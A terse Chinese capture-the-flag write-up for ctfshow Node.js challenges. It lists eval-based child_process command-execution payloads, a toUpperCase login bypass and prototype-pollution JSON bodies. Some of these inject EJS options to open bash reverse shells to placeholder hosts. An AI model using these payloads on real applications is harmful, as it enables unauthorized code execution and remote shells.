nodejs ctfshow
web334:
打开题目之后给了一个zip的源码
打开题目环境之后给的是一个登录界面
分析zip源码
user.js
items: [ {username: 'CTFSHOW', password: '123456'} ]
var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; }); };
toUpperCase这个函数有个特点: 字符ı、ſ 经过toUpperCase()处理后结果为 I、S 字符K经过toLowerCase()处理后结果为k
web335:
打开后主页显示
?eval=require('child_process').execSync('ls') ?eval=require('child_process').execSync('cat f*') ?eval=require('child_process').execSync('ls').toString() ?eval=require('child_process').execSync('cat fl00g.txt').toString() ?eval=require('child_process').spawnSync('ls').stdout.toString() ?eval=require('child_process').spawnSync('ls',['.']).stdout.toString() ?eval=require('child_process').spawnSync('ls',['./']).stdout.toString() ?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符 ?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
执行ls后发现当前目录存在fl00g.txt文件,直接调用系统命令cat即可
web336:
打开336执行?eval=require('child_process').execSync('ls')
回显where is flag? tql
继续执行其他命令,依旧是无法执行,所以判断execSync是被ban掉了一级,不过spawnSync依旧可以执行
使用.spawnSync('cat',['fl001g.txt']).stdout.toString()
成功拿到flag
web338:
打开了环境之后给了一套源码
可以看到想要拿到flag我们需要使用secert.ctfshow的值为36dboy
观看利用好点
存在 utils.copy(user,req.body);
我们可以利用body进行json传参,从而打到原型链污染的目的
{"username":"111","password":"111", "__proto__":{ "ctfshow":"36dboy" } }
最后获取到了FLAG
web339:
存一手现成FLAG
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}
{ "constructor": { "prototype": { "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"} } }
{"username":"aa","password":"aa","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}